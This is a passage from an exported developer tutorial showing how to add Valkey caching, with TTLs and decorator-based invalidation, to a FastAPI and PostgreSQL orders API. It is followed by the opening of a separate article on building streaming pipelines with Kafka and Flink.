Valkey when called. We do this by:\n- Connecting to Valkey using our `connect_to_valkey()` function.\n- Creating a variable to store our cache key in, `orders:count`. It's a good idea to name your cache keys something meaningful. \n- Looking in Valkey for any values stored under the `orders:count` key. \n  - If a value is found in Valkey, we return the value and exit the function.\n  - If not, we connect to PostgresSQL and run the `SELECT COUNT (*) FROM orders;` statement, add that value to the Valkey cache, and return the value before exiting. \n\nThe `read_count()` function should now look like: \n\n```python\n@app.get(\"/count\")\ndef read_count():\n    cache_key = 'orders:count'\n    valkey_conn = connect_to_valkey()\n\n    # Is it already in the cache? If so, just use it\n    count = valkey_conn.get(cache_key)\n    if count:\n        logging.debug(f'Found {cache_key}, value is {count}')\n        return {'count': count}\n\n    pg_conn = connect_to_pg()\n    try:\n        cursor = pg_conn.cursor()\n        cursor.execute('SELECT COUNT(*) FROM orders;')\n        count = cursor.fetchone()[0]\n    except Exception as e:\n        raise HTTPException(\n            status_code=500,\n            detail=f\"Error querying database: {e.__class__.__name__} {e}\",\n        )\n    finally:\n        pg_conn.close()\n\n    # Remember to add it to the cache\n    logging.debug(f'Caching {cache_key}, value is {count}')\n    valkey_conn.set(cache_key, count)\n    return {'count': count}\n```\n\nLet's test the changes to our app. \n\nStart the application with `uvicorn` again (remember you'll need the `PG_SERVICE_URI` and `VALKEY_SERVICE_URI` environment variables set - see [Save the PostgreSQL connection information](#save-the-postgresql-connection-information) and [Save the Valkey connection information](#save-the-valkey-connection-information)).\n\n```\nuvicorn main:app --reload\n```\n\nand run our `curl` command in the other terminal:\n\n```shell\ncurl http://127.0.0.1:8000/count\n```\n\nWe should get back the result we expect, just as before:\n\n```\n{\"count\":12000}\n```\n\nbut now the `uvicorn` output should say:\n\n```\nDEBUG:root:Caching orders:count, value is 12000\nINFO:     127.0.0.1:51584 - \"GET /count HTTP/1.1\" 200 OK\n```\n\nIf we run the same `curl` command again\n\n```shell\ncurl http://127.0.0.1:8000/count\n```\n\nWe should get the same output\n\n```\n{\"count\":\"12000\"}\n```\n\nbut we can see from the `uvicorn` output that this time it has come from the cache:\n\n```\nDEBUG:root:Found orders:count, value is b'12000'\nINFO:     127.0.0.1:51587 - \"GET /count HTTP/1.1\" 200 OK\n```\n\n::alert[The `orders:count` value in the DEBUG output is shown as `b:12000'` because [Valkey strings](https://valkey.io/topics/strings/) are byte sequences, and so Python uses [Bytes objects](https://docs.python.org/3.10/library/stdtypes.html#bytes-objects) to represent them. Bytes literals are shown like string literals, but with a `b` before the quotes.]\n\n## Add a POST method to the application\n\nNext, let's add a POST function to the application, so we can add new records to our PostgreSQL database.\n\nThis may seem a bit disconnected, but hang tight - you'll understand why we're doing this in the next step. Refer to [the complete code](#all-the-code) if needed.\n\nWe need to add another import to `main.py`, this time to allow us to describe the arguments to our POST - add it after the other `from` import lines:\n\n```python\nfrom pydantic import BaseModel\n```\n\nThen, at the end of the file, we define the API that we're going to use for the new order (this will correspond to the JSON we use):\n\n```python\nclass Item(BaseModel):\n    \"\"\"A new order.\"\"\"\n    orderdate: str    # e.g., 2023-03-10\n    customerid: int\n    netamount: float\n    tax: float\n```\n\nAnd after that we can add our POST function which adds a new order to the database:\n\n```python\n@app.post(\"/add/\")\ndef post_add(item: Item):\n    \"\"\"Add a new order.\"\"\"\n    order = item.dict()\n    logging.debug(f'Adding order {order}')\n\n    pg_conn = connect_to_pg()\n    try:\n        cursor = pg_conn.cursor()\n        cursor.execute(\n            'INSERT INTO orders'\n            ' (orderdate, customerid, netamount, tax, totalamount)'\n            ' VALUES (%s, %s, %s, %s, %s);',\n            (item.orderdate, item.customerid, item.netamount, item.tax, item.netamount + item.tax),\n        )\n        pg_conn.commit()\n        logging.debug('Added new order')\n    except Exception as e:\n        raise HTTPException(\n            status_code=500,\n            detail=f\"Error updating database: {e.__class__.__name__} {e}\",\n        )\n    finally:\n        pg_conn.close()\n\n    return {'updated': {'customer': item.customerid}}\n```\n\nWe can test it using `curl`:\n\n```shell\ncurl -X 'POST' http://127.0.0.1:8000/add/ \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"orderdate\":\"2023-03-10\",\"customerid\":9999,\"netamount\":23.0,\"tax\":2.0}'\n```\n\nAnd we should get the following output back:\n\n```\n{\"updated\":{\"customer\":9999}}\n```\n\nThe application's debugging should show the following:\n\n```\nDEBUG:root:Adding order {'orderdate': '2023-03-10', 'customerid': 9999, 'netamount': 23.0, 'tax': 2.0}\nDEBUG:root:Added new order\n```\n\nWe can also examine the new database row using `psql`. Make sure that the `PG_SERVICE_URI` environment variable is set in your terminal (see [Save the PostgreSQL connection information](#save-the-postgresql-connection-information) earlier), then connect:\n```shell\npsql $PG_SERVICE_URI\n```\n\nNext, change to the correct database:\n```\n\\c dellstore\n```\n\nThen make a query:\n```sql\nselect * from orders where customerid=9999;\n```\n\nwhich should respond as follows:\n```\n orderid | orderdate  | customerid | netamount | tax  | totalamount\n---------+------------+------------+-----------+------+-------------\n    7918 | 2004-08-28 |       9999 |     51.19 | 4.22 |       55.41\n   12006 | 2023-03-10 |       9999 |     23.00 | 2.00 |       25.00\n(2 rows)\n```\n\nAgain, exit from `psql` using `\\q`.\n\n*But* if we use `curl` to ask for the total number of orders again:\n\n```shell\ncurl http://127.0.0.1:8000/count\n```\n\nWe still get the old answer:\n\n```\n{\"count\":\"12000\"}\n```\n\nHere we have a problem: our cache is out of date. We only update the cache when we call `read_count()` for the first time. When we update the database from another method, we aren't updating the cache to reflect the change.\n\n## Dealing with out of date caches\n\nInvaldiating caches is a common issue in software development. Our cache is only as useful as it is accurate. So what do we need to do to ensure our cache is accurate? \n\nWell, for starters, we need to ensure that our ``count`` cache is invalidated whenever we call our POST method. \n\n## Invalidating the cache\n\nWe can solve the problem of our cache getting outdated by \"throwing away\" the cached value when we add a new order. To do that we need to add the following lines to the start of the `post_add` function, just before the call to `connect_to_pg()` (the comments aren't strictly necessary, but they make it clearer what we're doing):\n\n```python\n    # Invalidate the cache entry whether we succeed in doing the update or not\n    # - we don't expect the update to fail, and it shouldn't hurt to clear the\n    # cache a bit too often\n    cache_key = 'orders:count'\n    valkey_conn = connect_to_valkey()\n    # The Valkey command is `del`, but that's special in Python\n    valkey_conn.delete(cache_key)\n```\n\n::alert[The actual Valkey command is called `del`, but that's a Python reserved word, so can't be used as a method name. The Valkey library chooses `delete` as a good alternative.]\n\nThe whole function now looks like:\n\n```python\n@app.post(\"/add/\")\ndef post_add(item: Item):\n    \"\"\"Add a new order.\"\"\"\n    order = item.dict()\n    logging.debug(f'Adding order {order}')\n\n    # Invalidate the cache entry whether we succeed in doing the update or not\n    # - we don't expect the update to fail, and it shouldn't hurt to clear the\n    # cache a bit too often\n    cache_key = 'orders:count'\n    valkey_conn = connect_to_valkey()\n    # The Valkey command is `del`, but that's special in Python\n    valkey_conn.delete(cache_key)\n\n    pg_conn = connect_to_pg()\n    try:\n        cursor = pg_conn.cursor()\n        cursor.execute(\n            'INSERT INTO orders'\n            ' (orderdate, customerid, netamount, tax, totalamount)'\n            ' VALUES (%s, %s, %s, %s, %s);',\n            (item.orderdate, item.customerid, item.netamount, item.tax, item.netamount + item.tax),\n        )\n        pg_conn.commit()\n        logging.debug('Added new order')\n    except Exception as e:\n        raise HTTPException(\n            status_code=500,\n            detail=f\"Error updating database: {e.__class__.__name__} {e}\",\n        )\n    finally:\n        pg_conn.close()\n\n    return {'updated': {'customer': item.customerid}}\n```\n\nAnd now when we add a new order:\n\n```shell\ncurl -X 'POST' http://127.0.0.1:8000/add/ \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"orderdate\":\"2023-03-10\",\"customerid\":9999,\"netamount\":23.0,\"tax\":2.0}'\n```\n\nand ask for the count:\n\n```shell\ncurl http://127.0.0.1:8000/count\n```\n\nWe get back an updated value, as we'd expect:\n\n```\n{\"count\":12002}\n```\n\nYour `count` value may be slightly different than the example above – don't worry about it, so long as it's over 12000.\n\nBefore leaving this section, let's just tidy up a little bit. We've got two defitions of `cache_key` in separate functions (`read_count` and `post_add`), and while they're both the same, it would be better to define that string just once.\n\nSo add another constant definition, before the `app = FastAPI()` line:\n```python\nCACHE_KEY = 'orders:count'\n```\n\nThen, delete the setting of `cache_key` by removing this line from both the `read_count` and `post_add` functions. \n\n```python\n    cache_key = 'orders:count'\n```\nThen change the uses of `cache_key` to be uses of `CACHE_KEY` instead. Don't forget the uses in the logging calls.\n\nCheck it's all working by running the two `curl` commands (the POST and the GET) once more.\n\n## Specifying a TTL (\"time to live\")\n\nNext, let's set a Time to Live, or TTL.\n\nThis is a common practice when working with caches: it specifies how long we should let a cache stay valid for. As we add more functions and more microservices to our application, other applications might modify a database entry in the background. A TTL ensures that we invalidate the cache on a regular basis, reducing the chances that our cache is inaccurate to the underlying data. \n\nLet's set a new environment variable for the cache timeout in seconds. Kill the `uvicorn` process, and then set a new environment variable:\n\n```shell\nexport CACHE_TIMEOUT_SECONDS=5\n```\n\nIn `main.py`, let's retrieve the new environment variable, and set a default value in case the environment variable isn't set. This new code should go after the code retrieving the `PG_SERVICE_URI` and `VALKEY_SERVICE_URI` values:\n\n```python\nCACHE_TIMEOUT_SECONDS = 120\ncache_timeout_str = os.getenv('CACHE_TIMEOUT_SECONDS', str(CACHE_TIMEOUT_SECONDS))\ntry:\n    CACHE_TIMEOUT_SECONDS = int(cache_timeout_str)\nexcept ValueError as e:\n    logging.error(f'Bad value {cache_timeout_str}, using {CACHE_TIMEOUT}')\nlogging.info(f'Cache timeout is {CACHE_TIMEOUT_SECONDS}s')\n```\n\nNext, use the cache timeout by altering the call of the Valkey `set` method at the end of our `read_count` function.\nWe just need to add the `ex` parameter to specify the timeout:\n\n```python\n    valkey_conn.set(CACHE_KEY, count, ex=CACHE_TIMEOUT_SECONDS)\n```\n \nNow, if we POST a new order, the *next* GET for a\ncount is cached, and we can see that subsequent GET requests\nonly find a cached value if they are within the `CACHE_TIMEOUT` time.\n\n### Try it yourself and see\n\nRestart the application:\n \n```shell\nuvicorn main:app --reload\n```\n\nMake a new POST request, to invalidate the cache.\nThen make a GET request followed quickly by another. The second GET will use the cache. But if you now wait longer than the TTL and *then* make another GET request, the cache entry will have expired, so the database will need to be queried again.\n\nIn more detail:\n\nMake a new POST:\n```shell\ncurl -X 'POST' http://127.0.0.1:8000/add/ \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"orderdate\":\"2023-03-10\",\"customerid\":9999,\"netamount\":23.0,\"tax\":2.0}'\n```\n\nThen a GET:\n\n```shell\ncurl http://127.0.0.1:8000/count\n```\n\nThen another GET:\n```shell\ncurl http://127.0.0.1:8000/count\n```\n\nAt this point `uvicorn` should show the following:\n```\nDEBUG:root:Adding order {'orderdate': '2023-03-10', 'customerid': 9999, 'netamount': 23.0, 'tax': 2.0}\nDEBUG:root:Added new order\nINFO:     127.0.0.1:60078 - \"POST /add/ HTTP/1.1\" 200 OK\nDEBUG:root:Caching orders:count, value is 12004\nINFO:     127.0.0.1:60090 - \"GET /count HTTP/1.1\" 200 OK\nDEBUG:root:Found orders:count, value is b'12004'\nINFO:     127.0.0.1:60098 - \"GET /count HTTP/1.1\" 200 OK\n```\n\nBut if you now wait for 10 seconds (remember, the TTL is 5 seconds) and do a GET:\n```shell\ncurl http://127.0.0.1:8000/count\n```\n\nThe application should report the following because the cache entry has expired:\n\n```\nDEBUG:root:Caching orders:count, value is 12004\nINFO:     127.0.0.1:60152 - \"GET /count HTTP/1.1\" 200 OK\n```\n\n## Using a Python decorator\n\nThere are two slight problems with the code we've got now:\n\n* Short functions that do fewer things are generally easier to understand. Our GET and POST functions are mixing up the \"talk to the database\" and the \"handle the cache\" code, which are really two different things.\n\n* If we add more GET or POST functions, we'll have to remember to add caching to them all, and it's surprisingly easy to forget to do this.\n\nThe [DRY (\"Don't Repeat Yourself\")](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself) principle suggests \"Every piece of knowledge must have a single, unambiguous, authoritative representation within a system\". We can use Python decorators to re-implement our caching, cleaning up the code and helping to solve the two concerns above.\n\nAt the start of `main.py`, before the `import os` line, add:\n```python\nimport functools\n```\n(It's normally considered good practice to group the importing of things from the Python standard library together.)\n\n\nOur first decorator is for GET functions.\n\n\nBefore the `read_count` function, add the following:\n\n```python\ndef check_cache(func):\n    @functools.wraps(func)\n    def wrapper():\n        valkey_conn = connect_to_valkey()\n\n        # Is it already in the cache? If so, just use it\n        count = valkey_conn.get(CACHE_KEY)\n        if count:\n            logging.debug(f'Found {CACHE_KEY}, value is {count}')\n            return {'count': count}\n\n        logging.debug(f'Calling {func} to find the count')\n        retval = func()\n        count = retval['count']\n\n        # Remember to add it to the cache\n        logging.debug(f'Caching {CACHE_KEY}, value is {count}')\n        valkey_conn.set(CACHE_KEY, count, ex=CACHE_TIMEOUT_SECONDS)\n\n        return retval\n\n    return wrapper\n```\n\nThen, decorate the `read_count` function:\n\n```python\n@app.get(\"/count\")\n@check_cache\ndef read_count():\n```\n\n::alert[Since FastAPI has other logic in its decorators, we need a little bit of care when adding our own. First of all, it's important to have that `@functools.wraps(func)` line in the decorator itself, so that the wrapper has the same signature as the wrapped function. Secondly, the order of the decorators matters - the FastAPI decorator needs to come first.]\n\nWe now remove the caching code from the inside of the function, leaving us with:\n\n```python\n@app.get(\"/count\")\n@check_cache\ndef read_count():\n    pg_conn = connect_to_pg()\n    try:\n        cursor = pg_conn.cursor()\n        cursor.execute('SELECT COUNT(*) FROM orders;')\n        count = cursor.fetchone()[0]\n    except Exception as e:\n        raise HTTPException(\n            status_code=500,\n            detail=f\"Error querying database: {e.__class__.__name__} {e}\",\n        )\n    finally:\n        pg_conn.close()\n\n    return {'count': count}\n```\n\nOur second decorator is for POST functions.\n\nAdd the following before the `post_add` function:\n\n```python\ndef clear_cache(func):\n    @functools.wraps(func)\n    def wrapper(item: Item):\n        logging.debug(f'Clearing cache')\n        valkey_conn = connect_to_valkey()\n\n        # Invalidate the cache entry whether we succeed in doing the update or not\n        # - we don't expect the update to fail, and it shouldn't hurt to clear the\n        # cache a bit too often\n        valkey_conn.delete(CACHE_KEY)    # The Valkey command is `del`, but that's special in Python\n\n        return func(item)\n\n    return wrapper\n```\n\nNext, decorate it:\n\n```python\n@app.post(\"/add/\")\n@clear_cache\ndef post_add(item: Item):\n```\n\n::alert[The same care is needed as for the previous decorator.]\n\nAgain, we now remove the caching code from inside the `post_add` function:\n\n```python\n@app.post(\"/add/\")\n@clear_cache\ndef post_add(item: Item):\n    \"\"\"Add a new order.\"\"\"\n    order = item.dict()\n    logging.debug(f'Adding order {order}')\n\n    pg_conn = connect_to_pg()\n    try:\n        cursor = pg_conn.cursor()\n        cursor.execute(\n            'INSERT INTO orders'\n            ' (orderdate, customerid, netamount, tax, totalamount)'\n            ' VALUES (%s, %s, %s, %s, %s);',\n            (item.orderdate, item.customerid, item.netamount, item.tax, item.netamount + item.tax),\n        )\n        pg_conn.commit()\n        logging.debug('Added new order')\n    except Exception as e:\n        raise HTTPException(\n            status_code=500,\n            detail=f\"Error updating database: {e.__class__.__name__} {e}\",\n        )\n    finally:\n        pg_conn.close()\n\n    return {'updated': {'customer': item.customerid}}\n```\n\nCheck that all continues to work by running the `curl` commands again, and looking at the application logs to see that the expected logging messages are still being produced.\n\n## A more realistic database call\n\nReviewing our application so far, we can:\n\n* Ask for the total number of orders from the Redis cache\n* Post a new order for a given customer to the PostgreSQL database and refresh the cache\n* And we've simplified the cache handling by using decorators\n\nLet's add another method to ask for the total number of orders per customer.\n\nAs we've discussed before, ``count`` is a slow process on its own, and you wouldn't use it in most production settings.  Asking the database for a ``count`` as filtered by ``customerid`` is slower still, but a more realistic operation. Let's cache it!\n\nThis means we'll have one cache for the total number of orders, and one for each customer.\n\nTo start, we need to add another import statement before the other `from` imports at the top of `main.py`. We'll need that when we get round to updating the `read_count` function in a moment.\n\n```python\nfrom typing import Union\n```\n\n\nThen we need to replace the definition of `CACHE_KEY` at the start of `main.py` with the following definition of `CACHE_KEY_FORMAT`. This uses a format string to describe the overall structure of our cache key strings.\n```python\nCACHE_KEY_FORMAT = 'num_orders:{0}'\n```\n\nWe need to alter the `check_cache` descriptor to understand that it might be caching data for a specific customer id. So we change the signature to take an optional (integer) `customerid` argument, and calculate the cache key from that.\n\nThe function should end up as follows:\n```python\ndef check_cache(func):\n    @functools.wraps(func)\n    def wrapper(customerid: Union[int, None] = None, *args, **kwargs):\n        valkey_conn = connect_to_valkey()\n\n        cache_key = CACHE_KEY_FORMAT.format('all' if customerid is None else customerid)\n\n        logging.debug(f'Checking cache key {cache_key}')\n\n        # Is it already in the cache? If so, just use it\n        count = valkey_conn.get(cache_key)\n        if count:\n            logging.debug(f'Found {cache_key}, value is {count}')\n            return {'count': count}\n\n        logging.debug(f'Calling {func} to find the count')\n        retval = func(customerid)\n        count = retval['count']\n\n        # Remember to add it to the cache\n        logging.debug(f'Caching {cache_key}, value is {count}')\n        valkey_conn.set(cache_key, count, ex=CACHE_TIMEOUT_SECONDS)\n\n        return retval\n\n    return wrapper\n```\n\nThe GET function gains the same optional `customerid` argument, allowing us to specify the customer id if we wish - we'll see how that's used in an actual query later on:\n\n```python\ndef read_count(customerid: Union[int, None] = None):\n```\n\nNext, let's change the database query in that function to account for whether or not the user specified a customer id. Find this line:\n```python\n        cursor.execute('SELECT COUNT(*) FROM orders;')\n```\n\nReplace it with the following code:\n\n```python\n        if customerid is None:\n            logging.debug('Looking up all orders')\n            cursor.execute('SELECT COUNT(*) FROM orders;')\n        else:\n            logging.debug(f'Looking up orders orders for custmerid {customerid}')\n            cursor.execute('SELECT COUNT(*) FROM orders WHERE customerid=%s;', (customerid,))\n```\n(It's Python, so make sure to keep the indentation correct!)\n\nThe `clear_cache` decorator now needs to clear the cache for all orders, and also the cache for the specific customer:\n\n```python\ndef clear_cache(func):\n    @functools.wraps(func)\n    def wrapper(item: Item):\n        logging.debug('Clearing caches')\n\n        all_cache_key = CACHE_KEY_FORMAT.format('all')\n        this_cache_key = CACHE_KEY_FORMAT.format(item.customerid)\n\n        logging.debug(f'Clearing caches for {all_cache_key} and {this_cache_key}')\n\n        valkey_conn = connect_to_valkey()\n\n        # Invalidate the cache entry whether we succeed in doing the update or not\n        # - we don't expect the update to fail, in general, and it shouldn't hurt\n        # to clear the cache\n        # The Valkey command is `del`, but that's special in Python\n        valkey_conn.delete(all_cache_key)\n        valkey_conn.delete(this_cache_key)\n\n        return func(item)\n\n    return wrapper\n```\n\nWe don't need to change the `post_add` function at all.\n\nThe `curl` query for all the orders is the same as before, but now we can ask for just the number of orders for a particular customer.\n\nNow if we POST an order for customer 9999:\n\n```shell\ncurl -X 'POST' http://127.0.0.1:8000/add/ -H 'Content-Type: application/json' -d '{\"orderdate\":\"2023-03-10\",\"customerid\":9999,\"netamount\":23.0,\"tax\":2.0}'\n```\n\nWe should see the following response:\n```\n{\"updated\":{\"customer\":9999}}\n```\n\nIn addition, we can also ask \"how many orders are there for customer 9999\":\n\n```shell\ncurl 'http://127.0.0.1:8000/count?customerid=9999'\n```\n\nThe answer we get back depends on how many orders we've actually created for customer 9999, but should be of the form:\n\n```\n{\"count\":10}\n```\n\nWe can confirm this by sending a request:\n\n```\ncurl 'http://127.0.0.1:8000/count/'\n```\nWe'll see the same result as before. The particular answer depends on how many orders were created for customer 9999.\n```\n{\"count\":12008}\n```\n\n## All the code\n\nAs a recap, here's the final program, all in one:\n\n```python\nimport functools\nimport os\n\nfrom typing import Union\n\nfrom fastapi import FastAPI\nfrom fastapi import HTTPException\nfrom pydantic import BaseModel\n\nimport logging\nimport psycopg2\nimport valkey\n\n# turn on logging\nlogging.basicConfig(level=logging.DEBUG)\n\n# import environment variables\nPG_SERVICE_URI = os.getenv('PG_SERVICE_URI')\nVALKEY_SERVICE_URI = os.getenv('VALKEY_SERVICE_URI')\n\nCACHE_TIMEOUT_SECONDS = 120\ncache_timeout_str = os.getenv('CACHE_TIMEOUT_SECONDS', str(CACHE_TIMEOUT_SECONDS))\ntry:\n    CACHE_TIMEOUT_SECONDS = int(cache_timeout_str)\nexcept ValueError as e:\n    logging.error(f'Bad value {cache_timeout_str}, using {CACHE_TIMEOUT}')\nlogging.info(f'Cache timeout is {CACHE_TIMEOUT_SECONDS}s')\n\nCACHE_KEY_FORMAT = 'num_orders:{0}'\n\napp = FastAPI()\n\n\ndef connect_to_pg():\n    \"\"\"Connect to the PostgreSQL backend.\"\"\"\n    if not PG_SERVICE_URI:\n        raise HTTPException(\n            status_code=500,\n            detail=\"Internal server error. Database not specified - \"\n            \"environment variable PG_SERVICE_URI is empty/unset\",\n        )\n    try:\n        # Use the given service URI, but specify a different database\n        return psycopg2.connect(PG_SERVICE_URI, database='dellstore')\n    except Exception as e:\n        raise HTTPException(\n            status_code=500,\n            detail=f\"Error connecting to database: {e.__class__.__name__} {e}\",\n        )\n\n\ndef connect_to_valkey():\n    \"\"\"Connect to the Valkey backend.\"\"\"\n    if not VALKEY_SERVICE_URI:\n        raise HTTPException(\n            status_code=500,\n            detail=\"Internal server error. Valkey service not specified - \"\n            \"environment variable VALKEY_SERVICE_URI is empty/unset\",\n        )\n    try:\n        return valkey.from_url(VALKEY_SERVICE_URI)\n    except Exception as e:\n        raise HTTPException(\n            status_code=500,\n            detail=f\"Error connecting to Valkey: {e.__class__.__name__} {e}\",\n        )\n\n\ndef check_cache(func):\n    @functools.wraps(func)\n    def wrapper(customerid: Union[int, None] = None, *args, **kwargs):\n        valkey_conn = connect_to_valkey()\n\n        cache_key = CACHE_KEY_FORMAT.format('all' if customerid is None else customerid)\n\n        logging.debug(f'Checking cache key {cache_key}')\n\n        # Is it already in the cache? If so, just use it\n        count = valkey_conn.get(cache_key)\n        if count:\n            logging.debug(f'Found {cache_key}, value is {count}')\n            return {'count': count}\n\n        logging.debug(f'Calling {func} to find the count')\n        retval = func(customerid)\n        count = retval['count']\n\n        # Remember to add it to the cache\n        logging.debug(f'Caching {cache_key}, value is {count}')\n        valkey_conn.set(cache_key, count, ex=CACHE_TIMEOUT_SECONDS)\n\n        return retval\n\n    return wrapper\n\n\n@app.get(\"/count\")\n@check_cache\ndef read_count(customerid: Union[int, None] = None):\n    pg_conn = connect_to_pg()\n    try:\n        cursor = pg_conn.cursor()\n        if customerid is None:\n            logging.debug('Looking up all orders')\n            cursor.execute('SELECT COUNT(*) FROM orders;')\n        else:\n            logging.debug(f'Looking up orders orders for custmerid {customerid}')\n            cursor.execute('SELECT COUNT(*) FROM orders WHERE customerid=%s;', (customerid,))\n        count = cursor.fetchone()[0]\n    except Exception as e:\n        raise HTTPException(\n            status_code=500,\n            detail=f\"Error querying database: {e.__class__.__name__} {e}\",\n        )\n    finally:\n        pg_conn.close()\n\n    return {'count': count}\n\n\nclass Item(BaseModel):\n    \"\"\"A new order.\"\"\"\n    orderdate: str    # e.g., 2023-03-10\n    customerid: int\n    netamount: float\n    tax: float\n\n\ndef clear_cache(func):\n    @functools.wraps(func)\n    def wrapper(item: Item):\n        logging.debug('Clearing caches')\n\n        all_cache_key = CACHE_KEY_FORMAT.format('all')\n        this_cache_key = CACHE_KEY_FORMAT.format(item.customerid)\n\n        logging.debug(f'Clearing caches for {all_cache_key} and {this_cache_key}')\n\n        valkey_conn = connect_to_valkey()\n\n        # Invalidate the cache entry whether we succeed in doing the update or not\n        # - we don't expect the update to fail, in general, and it shouldn't hurt\n        # to clear the cache\n        # The Valkey command is `del`, but that's special in Python\n        valkey_conn.delete(all_cache_key)\n        valkey_conn.delete(this_cache_key)\n\n        return func(item)\n\n    return wrapper\n\n\n@app.post(\"/add/\")\n@clear_cache\ndef post_add(item: Item):\n    \"\"\"Add a new order.\"\"\"\n    order = item.dict()\n    logging.debug(f'Adding order {order}')\n\n    pg_conn = connect_to_pg()\n    try:\n        cursor = pg_conn.cursor()\n        cursor.execute(\n            'INSERT INTO orders'\n            ' (orderdate, customerid, netamount, tax, totalamount)'\n            ' VALUES (%s, %s, %s, %s, %s);',\n            (item.orderdate, item.customerid, item.netamount, item.tax, item.netamount + item.tax),\n        )\n        pg_conn.commit()\n        logging.debug('Added new order')\n    except Exception as e:\n        raise HTTPException(\n            status_code=500,\n            detail=f\"Error updating database: {e.__class__.__name__} {e}\",\n        )\n    finally:\n        pg_conn.close()\n\n    return {'updated': {'customer': item.customerid}}\n\n```\n\n## That's all, folks!\n\nAnd there you have it! An application with caching on multiple values using PostgreSQL and Valkey. \n\nBefore you move on, don't forget to [pause or terminate](https://aiven.io/docs/platform/howto/pause-from-cli) your Aiven services! \n\n## Additional resources\n\n* Check out the application's autogenerated API docs at `http://127.0.0.1:8000/docs` (only while `uvicorn` is actually running the app).\n* Look at [FastAPI Cache](https://github.com/long2ice/fastapi-cache) as a possible solution for production settings – we've not tried it, but it looks like a useful shortcut!\n* Web frameworks like [Django](https://www.djangoproject.com/) and [Rails](https://rubyonrails.org/) generally make it easy to add a cache, and Redis is often used. See our article on [Set up Django to use Aiven for Valkey](https://aiven.io/developer/set-up-django-to-use-aiven-for-valkey) for how to get Django to talk to Valkey (and there's also a companion article on [Set up Django to use Aiven for PostgreSQL®](https://aiven.io/developer/django-and-aiven-for-pg)).\n* Read up on [cURL](https://curl.se/). It's an incredibly powerful and versatile tool and you can find out a lot more at [Everything curl](https://curl.se/book.html).\n* Find out more about Python decorators at [Real Python](https://realpython.com/)'s [Primer on Python Decorators](https://realpython.com/primer-on-python-decorators/). They also provide a nice introduction to [Logging in Python](https://realpython.com/python-logging/).\n* We didn't discuss [ETags](https://en.wikipedia.org/wiki/HTTP_ETag) at all, but they're another thing that a production system might consider (and [fastapi-cache](https://github.com/long2ice/fastapi-cache) indicates it has at least some support for them).\n* Lastly, the example code we've given uses synchronous Valkey connections, which can block the event loop and degrade performance. A better option might be to use asynchronous connections, with `async` and `await`. See the [Asyncio Examples](https://valkey-py.readthedocs.io/en/latest/examples/asyncio_examples.html) in the [valkey-py documentation](https://valkey-py.readthedocs.io/en/latest/index.html).\n\nIf you want to learn a bit more about PostgreSQL and Valkey themselves, check out:\n\n- [Aiven for PostgreSQL® documentation](https://aiven.io/docs/products/postgresql)\n- [Aiven for Valkey™ documentation](https://aiven.io/docs/products/valkey)\n- [PostgreSQL's official documentation](https://www.postgresql.org/)\n- [Valkey's official documentation](https://valkey.io/)\n\nand you can also follow up the Python libraries we used:\n\n* For [fastapi](https://fastapi.tiangolo.com/) check out the [tutorial](https://fastapi.tiangolo.com/tutorial/).\n* As part of writing this article, we learnt that [psycopg](https://www.psycopg.org/) now has a version 3. We used `psycopg2` in our examples (documentation at https://www.psycopg.org/docs/) but you might be interested in exploring https://www.psycopg.org/psycopg3/docs/ as well.\n* The [valkey-py](https://github.com/valkey-io/valkey-py) documentation is at https://valkey-py.readthedocs.io/ and has copious links back into the main Valkey documentation.\n\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-06-29T09:33:05.663Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[],"publishedAt":"2023-06-22T09:32:48.893Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"The words \"Add caching to your PostgreSQL app using Valkey\" and the Aiven cuddly crab logo","asset":{"_ref":"image-9c90710db8d8e874cb1ea68b708084d249ea7588-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/add-caching-to-pg-with-valkey"},"subtitle":"Caching is used to speed up cloud applications, particularly for database reads. Read on to learn more, and find out how to build caching with Valkey™ into a simple PostgreSQL® web app.","tags":[{"_key":"82194292344e","_ref":"d066802f-72f8-49bf-93a7-3c4196a99892","_type":"tag"},{"_key":"280894c5274d","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"4b74596e664f","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"5a4c0d4d7498","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"cc733cc55ea3","_ref":"170e8cc3-b016-45ee-a9db-efec32d13a04","_type":"tag"}],"title":"Add caching to your PostgreSQL® app using Valkey™"}
{"__i18n_lang":"en","_createdAt":"2023-03-20T14:14:04Z","_id":"5ee6de8e-7637-4e70-a253-b3bd1e7d220f","_rev":"Y1Zuby3sRDA3bPurvuDEN3","_type":"devArticle","_updatedAt":"2024-09-25T08:39:24Z","body":"::alert[This post, originally published in February 2022, has been updated to the new Aiven for Apache Flink®️ API and developer experience, as released in February 2023.]\n \nIf data is the new gold then data pipelines must be the mining shafts and SQL the pickaxe: allowing information to travel across the company from the sources to the desired decision-enabling dashboards. But driving the data assets to the right audience is only part of the problem; performing it in a timely manner is becoming more and more critical. The old days of watching today a dashboard containing yesterday's data are gone, we need to analyse, capture trends and detect outliers as soon as possible.\n\nMore and more companies are consequently going away from batch and embracing streaming solutions which enable near real time data pipeline definition. To make this transition easier, selecting a target technology speaking a language similar to the original is usually a sensible choice, since it enables existing skills reusability with small adaptations.\n\nThe combination of Apache Kafka® and Apache Flink®, two open source projects aiming respectively at transmitting and computing streaming data, is therefore a good choice, since it enables the transition from batch to streaming keeping the data pipeline definitions in the data practitioners most beloved language: SQL!\n\nWe [previously wrote about the duo](https://aiven.io/blog/build-a-streaming-sql-pipeline-with-flink-and-kafka), showcasing how you could write your own streaming data pipelines using a dockerized version of Apache Flink®'s SQL client. This time we'll create new data pipelines on a different use-case and show how we can minimize the analytics latency. On top of this, there is more good news: we don't have to care anymore about running Apache Flink® ourselves, since we can rely on the managed services provided by Aiven!\n\nYou can also watch this tutorial on YouTube: \n\n::youtube[Build your first data pipeline with Aiven for Apache Flink®]{#RT5zjEWc1mg}\n\n## The use case\n\nFor the purpose of this blog post, we are going to mimic an inbound streaming dataset of IoT CPU utilization measurements. Since IoT devices can be 